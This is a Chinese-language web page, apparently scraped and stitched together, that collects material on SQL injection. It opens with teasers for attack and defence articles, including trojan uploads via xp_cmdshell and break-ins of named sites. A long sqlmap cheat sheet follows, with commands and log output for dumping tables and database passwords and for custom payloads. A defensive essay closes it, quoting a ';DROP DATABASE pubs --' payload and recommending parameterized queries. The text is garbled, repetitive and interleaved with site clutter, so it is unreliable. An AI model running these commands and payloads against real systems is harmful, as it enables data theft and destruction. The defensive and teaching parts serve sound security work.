手动sql注入攻击语句常用的语句有哪些

&&&&&&& SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别, 所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。&&&&&&& 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。&&&&&&& SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。&&&&&&& 但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。
SQL注入漏洞全接触--入门篇&& &&&&&&& SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。 & 详细内容&&
SQL注入漏洞全接触--进阶篇 & & SQL注入的一般步骤,首先,判断环境,寻找注入点,判断数据库类型,其次,根据注入参数类型,在脑海中重构SQL语句的原貌。 & 详细内容&&
SQL注入漏洞全接触--高级篇 & & 看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率? & 详细内容&&
SQL注入法攻击一日通 & & SQL注入的简单原理和攻击一般步骤,文章作者想让人一天学会SQL注入攻击。 & 详细内容&&
SQL Server应用程序中的高级SQL注入 & & 这份文档是详细讨论SQL注入技术,它适应于比较流行的IIS+ASP+SQLSERVER平台。它讨论了哪些SQL语句能通过各种各样的方法注入到应用程序中,并且记录与攻击相关的数据确认和数据库锁定。 & 详细内容&&
编写通用的ASP防SQL注入攻击程序& & 如果编写通用的SQL防注入程序一般的http请求不外乎get 和 post,所以只要我们在文件中过滤所有post或者get请求中的参数信息中非法字符即可,所以我们实现http 请求信息过滤就可以判断是是否受到SQL注入攻击。详细内容&&
利用instr()函数防止SQL注入攻击& & 学asp也有一段时间了,这几天一直在写自己的程序,也遇到了好多问题,我就不得不得考虑到一些现在的漏洞,比如,‘ 或 and 1=1等等的一些漏洞!别的先不管,今天我就来说说如何堵这个漏洞!详细内容&&
SQL注入攻击的原理及其防范措施 & & ASP编程门槛很低,新手很容易上路。在一段不长的时间里,新手往往就已经能够编出看来比较完美的动态网站,在功能上,老手能做到的,新手也能够做到。详细内容&&
跨站式SQL注入技巧 & & 学习如何从数据库中获取想要获得的内容。详细内容&&
防范Sql注入式攻击 & & Sql注入式攻击是指利用设计上的漏洞,在目标服务器上运行Sql 命令以及进行其他方式的攻击 动态生成Sql命令时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。详细内容&&
Dreamweaver中sql注入式攻击的防范 & & 在安全性方面,新手最容易忽略的问题就是SQL注入漏洞的问题。用NBSI 2.0对网上的一些ASP网站稍加扫描,就能发现许多ASP网站存在SQL注入漏洞。详细内容&&
PHP与SQL注入攻击 & & SQL注入攻击是黑客攻击网站最常用的手段。如果你的站点没有使用严格的用户输入检验,那么常容易遭到SQL注入攻击。SQL注入攻击通常通过给站点数据库提交不良的数据或查询语句来实现,很可能使数据库中的纪录遭到暴露,更改或被删除。下面来谈谈SQL注入攻击是如何实现的,又如何防范。详细内容&&
SQL注入攻击零距离 & & 一次次的SQL注射入侵,一次次的网站被黑,总是那句话,漏洞在所难免,难道一点办法都没吗?这篇文章就是为大家解析下SQL注 射的原理,以及给出一些预防方法。详细内容&&
SQL注入技术和跨站脚本攻击的检测 & & 在最近两年中,安全专家应该对网络应用层的攻击更加重视。因为无论你有多强壮的防火墙规则设置或者非常勤于补漏的修补机制,如果你的网络应用程序开发者没有遵循 安全代码进行开发,攻击者将通过80端口进入你的系统。详细内容&&
菜鸟入门级:SQL注入攻击 & & 一般国内的小一点的新闻站点程序 都有 ""&request 这种漏洞,下面我讲解攻击方法。详细内容&&
三步堵死SQL注入漏洞 & & 防御SQL注入有妙法,第一步:很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用 来防止别人进行手动注入测试.详细内容&&
SQL注入实战---利用“dbo”获得SQL管理权限和系统权限 & & 如果显示“dbo” 转换数据类型为 int 的列时发生语法错误 那么就可以用我下面介绍的方法来获得系统管理权限,如果是“abc” 转换数据类型为 int 的列时发生语法错误 那么就用不能用我下面的介绍来获得系统权限了.详细内容&&
两个防SQL注入过滤代码 & & SQL注入防护的一种简单方法,在网页中嵌入过滤代码,基于认为的安全防护措施.详细内容&&
蓝雨设计整站SQL注入漏洞 & & 以下文章中就会出现NOWA修改系统漏洞当中从未有的SQL注入漏洞!只怪蓝雨修改程序的时候没有做好注入问题了!这个可不能怪我!谁叫人家程序设计员不会注意安全死角阿?详细内容&&
SQL注入渗透某网络安全公司的网站全过程 & & 写这篇文章不是为了告诉大家如何去做入侵,而是希望提醒大家:“入侵是偶然的,但安全并不是必然的”,不要疏忽运作上的一些小细节。详细内容&&
sql注入防御 & & SQL注入通过网页对网站数据库进行修改。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站和访问该网站的网友都带来巨大危害.详细内容&&
终极防范SQL注入漏洞&&
& 其实SQL注入漏洞并不可怕,知道原理 + 耐心仔细,就可以彻底防范!下面给出4个函数,足够你抵挡一切SQL注入漏洞!读懂代码,你就能融会贯通.详细内容&&
SQL注入与ASP木马上传 & & SQL注入后,如何上传木马,一直是比较头疼的事,我这里提供上传木马的一种另一种方法。1、SQL注入的时候,用xp_cmdshell 向服务器上写入一个能写文件的asp文件.详细内容&&
如何在SQL注入时保护数据库 & & SQL注入是防止数据库攻击的一个有效策略。攻击者将注入一个SQL语句到另外一个语句中,这个通常会损坏你的数据库。有数据库接口的Web站点通常在SQL注入的时候容易受到攻击,因为它们是基于动态的SQL.详细内容&&
天晨设计整站SQL注入漏洞 & & 作者从一个安全工作员的角度,对天晨设计整站SQL注入漏洞做出了详细的测试.详细内容&&
浅谈sql注入式(SQL injection)攻击与防范 & & 没有系统的学习过asp或者php编程,也没有系统的学习过access、sqlserver、mysql等数据库,所以我不是一个程序员,虽然经常干一些类似程序员的事情.详细内容&&
用vbs来写sql注入等80端口的攻击脚本 & & 昨天晚上在机器里乱翻时无意打开一个vbs脚本,突然发现一个以前没有见过的对象Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),虽然对象没有见过,但是意思很明显:发送http请求.详细内容&&
C# 检查字符串,防SQL注入攻击 & & 这些天,CSDN上讨论SQL注入攻击似乎是如火如荼啊...我也来参合一下..如下,CheckParams函数,接收参数任意,如参数中有字符串,则对字符串进行检查,如参数中有集合(如Array之类,总之是实现了ICollection的),则对集合中的字符串元素进行检查.详细内容&&
关于对SQL注入 及其它错误消息分析 & & 本文详细讲述了 Microsoft 数据访问组件 (MDAC) 收到 0x 错误的一些常见原因,MDAC 包括 ActiveX 数据对象、OLE DB 和远程数据服务 (RDS)。同时,本文还讨论了其它一些错误消息,包括 040e14 和80040e10.详细内容&&
SQL注入入侵动网SQL版论坛& 现在动网最新版本是7.0+SP2。应该说安全性已经是很高的了。所以从脚本本身的问题去突破它难度不小。但是我们可以从外部的一些途径间接“搞定”动网.现在IIS+ASP+SQL2000的组合是比较常见的。而一个网站运用大量的ASP脚本程序,难免不出纰漏。如果一台主机上存在某个SQL注入点,而这台主机又安装有动网SQL版的话,基本上可以得出结论:这个动网就是你的了。下面来看一下实例.详细内容&&
利用SQL注入2分钟入侵网站全程实录 & & 说起流光、溯雪、乱刀,可以说是大名鼎鼎无人不知无人不晓,这些都是小榕哥的作品。每次一提起小榕哥来,我的崇拜景仰就如滔滔江水,连绵不绝~~~~(又来了!) 让我们崇拜的小榕哥最新又发布了SQL注入工具,这回喜欢利用SQL注入入侵网站的黑友们有福了。小榕哥的工具就是强!偶用它来搞定我们本地的信息港,从寻找注入漏洞到注入攻击成功,通过准确计时,总共只用了3分还差40秒,呵呵,王者风范,就是强啊!不信吗?看看我的入侵过程吧.详细内容&&
阅读(...) 评论()及旗下全部分类
打开微信扫一扫,关注圣才:
sc100xuexi
认证官方微博
认证官方微博
总结常用的Sql注入语句
发布人:&&发布日期: 15:01&&共1461人浏览
来源:网络 作者:未知
$ python sqlmap.py -u &/get_int.php?id=1&--union-use -&
&&&&&&& dump -T users -D public -v 0&
&&& &sinp&
&&& web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)&
&&& web application technology: PHP 5.2.6, Apache 2.2.9&
&&& back-end DBMS: PostgreSQL&
&&& Database: public&
&&& Table: users&
&&& [4 entries]&
&&& +----+------------&+----------+&
&&& | id | password&&&& | username |&
&&& +----+------------&+----------+&
&&& | 1&| blissett&&&& | luther&& |&
&&& | 2&| nameisnull&& | NULL&&&& |&
&&& | 3&| bunny&&&&&&& | fluffy&& |&
&&& | 4&| ming&&&&&&&& | wu&&&&&& |&
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
sqlmap.py -u &/hotelinchina.asp?cityid=2&m=1&P -v 1 &sql-shell //执行SQL语句
sqlmap.py -u &/hotelinchina.asp?cityid=2&m=1&P -v 5 //更详细的信息
load options from a configuration INI file
sqlmap -c sqlmap.conf
使用POST方法提交
sqlmap.py -u &http://192.168.1.121/sqlmap/oracle/post_int.php& &method POST &data &id=1&P
使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies
python sqlmap.py -u &http://192.168.1.121/sqlmap/mssql/cookie_int.php& &cookie &id=1&P -v 1
使用referer欺骗
python sqlmap.py -u &http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&P &referer && -v 3
使用自定义user-agent,或者使用随机使用自带的user-agents.txt
python sqlmap.py -u &http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&P &user-agent &Mozilla/4.0 ( MSIE 7.0; Windows NT 5.1)& -v 3
python sqlmap.py -u &http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&P -v 1 -a &./txt/user-agents.txt&
使用基本认证
python sqlmap.py -u &http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1&P &auth-type Basic &auth-cred &testuser:testpass& -v 3
使用Digest认证
python sqlmap.py -u &http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1&P &auth-type Digest &auth-cred &testuser:testpass& -v 3
使用代理,配合TOR
python sqlmap.py -u &http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&P &proxy &http://192.168.1.47:3128&P
python sqlmap.py -u &http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&P &proxy &http://192.168.1.47:8118&P
使用多线程猜解
python sqlmap.py -u &http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&P -v 1 &current-user &threads 3
绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入
python sqlmap.py -u &http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&P -v 1 -p &id
python sqlmap.py -u &http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2&P -v 1 -p &cat,id&
python sqlmap.py -u &http://192.168.1.121/sqlmap/mysql/ua_str.php& -v 1 -p &user-agent& &user-agent &sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)&
指定数据库,绕过SQLMAP的自动检测
python sqlmap.py -u &http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&P -v 2 &dbms &PostgreSQL&
* PostgreSQL
* Microsoft SQL Server
指定操作系统,绕过SQLMAP自动检测
python sqlmap.py -u &http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&P -v 2 &os &Windows&
自定义payload
Options: &prefix and &postfix
In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.
Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = &SELECT * FROM users WHERE id=(&& . $_GET['id'] . &&) LIMIT 0, 1&P;:
$ python sqlmap.py -u &http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1&P -v 3 -p &id& &prefix &&& &postfix &AND &test&='test&
[hh:mm:16] [INFO] testing sql injection on GET parameter &id& with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter &id&
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%3%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/q=0.9,text/q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:17] [INFO] GET parameter &id& is custom injectable
As you can see, the injection payload for testing for custom injection is:
id=1%27%29%20AND%3%20AND%20%28%27test%27=%27test
which URL decoded is:
id=1&) AND
AND (&test&='test
and makes the query syntatically correct to the page query:
SELECT * FROM users WHERE id=(&1&) AND
AND (&test&='test&) LIMIT 0, 1
In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.
python sqlmap.py -u &http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&P &string &luther& -v 1
python sqlmap.py -u &http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&P &regexp &&td&lu[\w][\w]er& -v
排除网站的内容
python sqlmap.py -u &http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&P &excl-reg &Dynamic content: ([\d]+)&
多语句测试,php内嵌函数mysql_query(),不支持多语句
python sqlmap.py -u &http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&P &stacked-test -v 1
union注入测试
python sqlmap.py -u &http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&P &union-test -v 1
unionz注入配合orderby
python sqlmap.py -u &http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&P &union-test &union-tech orderby -v 1
python sqlmap.py -u &http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&P -v 1 &union-use &banner
python sqlmap.py -u &http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&P -v 5 &union-use &current-user
python sqlmap.py -u &http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1&P -v 1 &union-use &dbs
fingerprint
python sqlmap.py -u &http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&P -v 1 -f
python sqlmap.py -u &http://192.168.123.36/sqlmap/get_str.asp?name=luther& -v 1 -f -b
判断当前用户是否是dba
python sqlmap.py -u &http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&P &is-dba -v 1
列举数据库用户
python sqlmap.py -u &http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&P &users -v 0
列举数据库用户密码
python sqlmap.py -u &http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&P &passwords -v 0
python sqlmap.py -u &http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&P &passwords -U sa -v 0
查看用户权限
python sqlmap.py -u &http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&P &privileges -v 0
python sqlmap.py -u &http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&P &privileges -U postgres -v 0
python sqlmap.py -u &http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&P &dbs -v 0
列出指定数据库指定表的列名
python sqlmap.py -u &http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&P &columns -T users -D test -v 1
列出指定数据库的指定表的指定列的内容
python sqlmap.py -u &http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&P &dump -T users -D master -C surname -v 0
指定列的范围从2-4
python sqlmap.py -u &http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&P &dump -T users -D test &start 2 &stop 4 -v 0
导出所有数据库,所有表的内容
python sqlmap.py -u &http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&P &dump-all -v 0
只列出用户自己新建的数据库和表的内容
python sqlmap.py -u &http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&P &dump-all &exclude-sysdbs -v 0
python sqlmap.py -u &http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&P &sql-query &SELECT usename FROM pg_user& -v 0
python sqlmap.py -u &http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&P &sql-query &SELECT host, password FROM mysql.user LIMIT 1, 3&P -v 1
SELECT usename, passwd FROM pg_shadow ORDER BY usename
保存和恢复会话
python sqlmap.py -u &http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&P -b -v 1 -s &sqlmap.log&
保存选项到INC配置文件
python sqlmap.py -u &http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&P -b -v 1 &save
2、sqlmap -g &关键词& //这是通过google搜索注入,现在还不可以,不知道是什么原因,可以直接修改为百度
python sqlmap.py -u &http://192.168.1.47/page.php?id=1&cat=2& -v 1
[hh:mm:25] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:26] [INFO] url is stable
[hh:mm:26] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:26] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:26] [INFO] GET parameter 'id' is dynamic
[hh:mm:26] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:26] [INFO] testing numeric/unescaped injection on GET parameter
[hh:mm:26] [INFO] confirming numeric/unescaped injection on GET
parameter 'id'
[hh:mm:26] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:26] [INFO] testing MySQL
[hh:mm:26] [INFO] query: CONCAT('5', '5')
1 [hh:mm:26] [INFO] retrieved: 55
[hh:mm:26] [INFO] performed 20 queries in 0 seconds
[hh:mm:26] [INFO] confirming MySQL
[hh:mm:26] [INFO] query: LENGTH('5')
[hh:mm:26] [INFO] retrieved: 1
[hh:mm:26] [INFO] performed 13 queries in 0 seconds
[hh:mm:26] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT
[hh:mm:26] [INFO] retrieved: 5
[hh:mm:26] [INFO] performed 13 queries in 0 seconds
remote DBMS: MySQL &= 5.0.0
4、指定参数注入
python sqlmap.py -u &http://192.168.1.47/page.php?id=1&cat=2& -v 1
[hh:mm:17] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:18] [INFO] url is stable
[hh:mm:18] [INFO] testing sql injection on parameter 'id'
[hh:mm:18] [INFO] testing numeric/unescaped injection on parameter
[hh:mm:18] [INFO] confirming numeric/unescaped injection on
parameter 'id'
[hh:mm:18] [INFO] parameter 'id' is numeric/unescaped injectable
Or if you want to provide more than one parameter, for instance:
$ python sqlmap.py -u &http://192.168.1.47/page.php?id=1&cat=2& -v
1 -p &cat,id&
5、指定方法和post的数据
python sqlmap.py -u &http://192.168.1.47/page.php& --method &POST& --
data &id=1&cat=2&
6、指定cookie,可以注入一些需要登录的地址
python sqlmap.py -u &http://192.168.1.47/page.php?id=1&cat=2& --cookie
&COOKIE_VALUE&
7、通过代理注入
python sqlmap.py -u &http://192.168.1.47/page.php?id=1&cat=2& --proxy
&http://127.0.0.1:8118&
8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断
python sqlmap.py -u &http://192.168.1.47/page.php?id=1&cat=2& --string
&STRING_ON_TRUE_PAGE&
9、指定数据,这样就不用猜测其他的数据库里。可以提高效率。
--remote-dbms
10、指纹判别数据库类型
python sqlmap.py -u &http://192.168.1.47/page.php?id=1&cat=2& -v 1 -f
11、获取banner信息
python sqlmap.py -u &http://192.168.1.47/page.php?id=1&cat=2& -b
banner: '5.0.38-Ubuntu_0ubuntu1.1-log'
e书题库免费下载
网授课程免费试听SQL注入攻击是黑客对数据库进行攻击的常用手段67
上亿文档资料,等你来发现
SQL注入攻击是黑客对数据库进行攻击的常用手段67
SQL注入攻击是黑客对数据库进行攻击的常用手段之;展,使用这种模式编写应用程序的程序员也越来越多;不齐,相当大一部分程序员在编写代码的时候,没有对;应用程序存在安全隐患;些他想得知的数据,这就是所谓的SQLInject;SQL注入是从正常的WWW端口访问,而且表面看起;区别,所以目前市面的防火墙都不会对SQL注入发出;习惯,可能被入侵很长时间都不会发觉;但是
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。 但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。下面从SOL注入的背景讲起,再谈谈如何防御等问题。 一 SQL注入攻击的背景: 在计算机技术高速发展的今天,越来越让人们头疼的是面临越来越“变态”和复杂的威胁网站技术,他们利用Internet 执行各种恶意活动,如身份窃取、私密信息窃取、带宽资源占用等。它们潜入之后,还会扩散并不断更新自己。这些活动常常利用用户的好奇心,在用户不知道或未来允许的情况下潜入用户的PC,不知不觉中,帐户里的资金就被转移了,公司讯息也被传送出去,危害十分严重。日,第一个Web威胁样本出现,截止到日,已经产生了第150个变种,并且,还在不断地演化下去。 网站威胁的目标定位有多个维度,是个人还是公司,还是某种行业,都有其考虑,甚至国家、地区、性别、种族、宗教等也成为发动攻击的原因或动机。攻击还会采用多种形态,甚至是复合形态,比如病毒、蠕虫、特洛伊、间谍软件、僵尸、网络钓鱼电子邮件、漏洞利用、下载程序、社会工程、rootkit、黑客,结果都可以导致用户信息受到危害,或者导致用户所需的服务被拒绝和劫持。从其来源说Web威胁还可以分为内部攻击和外部攻击两类。前者主要来自信任网络,可能是用户执行了未授权访问或是无意中定制了恶意攻击;后者主要是由于网络漏洞被利用或者用户受到恶意程序制定者的专一攻击。 二 SQL注入攻击的网络分析: SQL注入攻击是非常令人讨厌的安全漏洞,是所有的web开发人员,不管是什么平台,技术,还是数据层,需要确信他们理解和防止的东西。不幸的是,开发人员往往不集中花点时间在这上面,以至他们的应用,更糟糕的是,他们的客户极其容易受到攻击。 Michael Sutton 最近发表了一篇非常发人深省的帖子,讲述在公共网上这问题是多么地普遍。他用Google的Search API建了一个C#的客户端程序,寻找那些易受SQL 注入攻击的网站。其步骤很简单: 1、寻找那些带查询字符串的网站(例如,查询那些在URL里带有 &id=& 的URL) 2、给这些确定为动态的网站发送一个请求,改变其中的id=语句,带一个额外的单引号,来试图取消其中的SQL语句(例如,如 id=6' ) 3、分析返回的回复,在其中查找象“SQL” 和“query”这样的词,这往往表示应用返回了详细的错误消息(这本身也是很糟糕的) 4、检查错误消息是否表示发送到SQL服务器的参数没有被正确加码(encoded),如果如此,那么表示可对该网站进行SQL注入攻击。 对通过Google搜寻找到的1000个网站的随机取样测试,他检测到其中的11.3%有易受SQL注入攻击的可能。这非常,非常地可怕。这意味着黑客可以远程利用那些应用里的数据,获取任何没有hashed或加密的密码或信用卡数据,甚至有以管理员身份登陆进这些应用的可能。这不仅对开发网站的开发人员来说很糟糕,而且对使用网站的消费者或用户来说更糟糕,因为他们给网站提供了数据,想着网站是安全的呢。 那么SQL注入攻击到底是什么玩意? 有几种情形使得SQL注入攻击成为可能。最常见的原因是,你动态地构造了SQL语句,却没有使用正确地加了码(encoded)的参数。譬如,考虑这个SQL查询的编码,其目的是根据由查询字符串提供的社会保险号码(social security number)来查询作者(Authors): Dim SSN as StringDim SqlQuery as StringSSN = Request.QueryString(&SSN&)SqlQuery = &SELECT au_lname, au_fname FROM authors WHERE au_id = '& + SSN + &'& 如果你有象上面这个片断一样的SQL编码,那么你的整个数据库和应用可以远程地被黑掉。怎么会呢?在普通情形下,用户会使用一个社会保险号码来访问这个网站,编码是象这样执行的: ' URL to the page containing the above code/listauthordetails.aspx?SSN=172-32-9999' SQL Query executed against the databaseSELECT au_lname, au_fname FROM authors WHERE au_id = '172-32-9999' 这是开发人员预期的做法,通过社会保险号码来查询数据库中作者的信息。但因为参数值没有被正确地加码,黑客可以很容易地修改查询字符串的值,在要执行的值后面嵌入附加的SQL语句 。譬如, ' URL to the page containing the above code/listauthordetails.aspx?SSN=172-32-9999';DROP DATABASE pubs --' SQL Query executed against the databaseSELECT au_lname, au_fname FROM authors WHERE au_id = '';DROP DATABASE pubs -- 注意到没有,可以在SSN查询字符串值的后面添加“ ';DROP DATABASE pubs -- ”,通过 “;”字符来终止当前的SQL语句,然后添加了自己的恶意的SQL语句,然后把语句的其他部分用“--”字符串注释掉。因为是手工在编码里构造SQL语句,最后把这个字符串传给了数据库,数据库会先对authors表进行查询,然后把我们的pubs数据库删除。“砰(bang)”的一声,数据库就没了! 万一你认为匿名黑客删除你的数据库的结果很坏,但不幸的是,实际上,这在SQL注入攻击所涉及的情形中算是比较好的。一个黑客可以不单纯摧毁数据,而是使用上面这个编码的弱点,执行一个JOIN语句,来获取你数据库里的所有数据,显示在页面上,允许他们获取用户名,密码,信用卡号码等等。他们也可以添加 UPDATE/INSERT 语句改变产品的价格,添加新的管理员账号,真的搞砸你(screw up yourlife)呢。想象一下,到月底检查库存时,发现你库房里的实际产品数与你的账目系统(accountingsystem)汇报的数目有所不同。 三 如何防范SQL注入攻击 SQL注入攻击是你需要担心的事情,不管你用什么web编程技术,再说所有的web框架都需要担心这个的。你需要遵循几条非常基本的规则: 1、在构造动态SQL语句时,一定要使用类安全(type-safe)的参数加码机制。大多数的数据API,包括ADO和ADO.NET,有这样的支持,允许你指定所提供的参数的确切类型(譬如,字符串,整数,日期等),可以保证这些参数被恰当地escaped/encoded了,来避免黑客利用它们。一定要从始到终地使用这些特性。 例如,在ADO.NET里对动态SQL,你可以象下面这样重写上述的语句,使之安全: Dim SSN as String = Request.QueryString(&SSN&)Dim cmd As new SqlCommand(&SELECT au_lname, au_fname FROM authors WHERE au_id =@au_id&)Dim param = new SqlParameter(&au_id&, SqlDbType.VarChar)param.Value = SSNcmd.Parameters.Add(param) 这将防止有人试图偷偷注入另外的SQL表达式(因为ADO.NET知道对au_id的字符串值进行加码),以及避免其他数据问题(譬如不正确地转换数值类型等)。注意,VS 2005内置的TableAdapter/DataSet设计器自动使用这个机制,ASP.NET 2.0数据源控件也是如此。 一个常见的错误知觉(misperception)是,假如你使用了存储过程或ORM,你就完全不受SQL注入攻击之害了。这是不正确的,你还是需要确定在给存储过程传递数据时你很谨慎,或在用ORM来定制一个查询时,你的做法是安全的。 2、在部署你的应用前,始终要做安全审评(security review)。建立一个正式的安全过程(formal security process),在每次你做更新时,对所有的编码做审评。后面一点特别重要。很多次我听说开发队伍在正式上线(going live)前会做很详细的安全审评,然后在几周或几个月之后他们做一些很小的更新时,他们会跳过安全审评这关,推说,“就是一个小小的更新,我们以后再做编码审评好了”。请始终坚持做安全审评。 3、千万别把敏感性数据在数据库里以明文存放。我个人的意见是,密码应该总是在单向(one-way )hashed过后再存放,我甚至不喜欢将它们在加密后存放。在默认设置下,ASP.NET 2.0 Membership API自动为你这么做,还同时实现了安全的SALT 随机化行为(SALT randomization behavior)。如果你决定建立自己的成员数据库,我建议你查看一下我们在这里发表的我们自己的Membership provider的源码。同时也确定对你的数据库里的信用卡和其他的私有数据进行了加密。这样即使你的数据库被人入侵(compromised)了的话,起码你的客户的私有数据不会被人利用。 4、确认你编写了自动化的单元测试,来特别校验你的数据访问层和应用程序不受SQL注入攻击。这么做是非常重要的,有助于捕捉住(catch)“就是一个小小的更新,所有不会有安全问题”的情形带来的疏忽,来提供额外的安全层以避免偶然地引进坏的安全缺陷到你的应用里去。 5、锁定你的数据库的安全,只给访问数据库的web应用功能所需的最低的权限。如果web应用不需要访问某些表,那么确认它没有访问这些表的权限。如果web应用只需要只读的权限从你的account payables表来生成报表,那么确认你禁止它对此表的insert/update/delete 的权限。 6、很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用 来防止别人进行手动注入测试。 可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟,你的管理员账号及密码就会被分析出来。 7、对于注入分析器的防范,笔者通过实验,发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中,发现软件并不是冲着“admin”管理员账号去的,而是冲着权限(如flag=1)去的。这样一来,无论你的管理员账号怎么变都无法逃过检测。 第三步:既然无法逃过检测,那我们就做两个账号,一个是普通的管理员账号,一个是防止注入的账号,为什么这么说呢?笔者想,如果找一个权限最大的账号制造假象,吸引软件的检测,而这个账号里的内容是大于千字以上的中文字符,就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。下面我们就来修改数据库吧。 1、对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。 2、对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符(最好大于100个字)。 3、把真正的管理员密码放在ID2后的任何一个位置 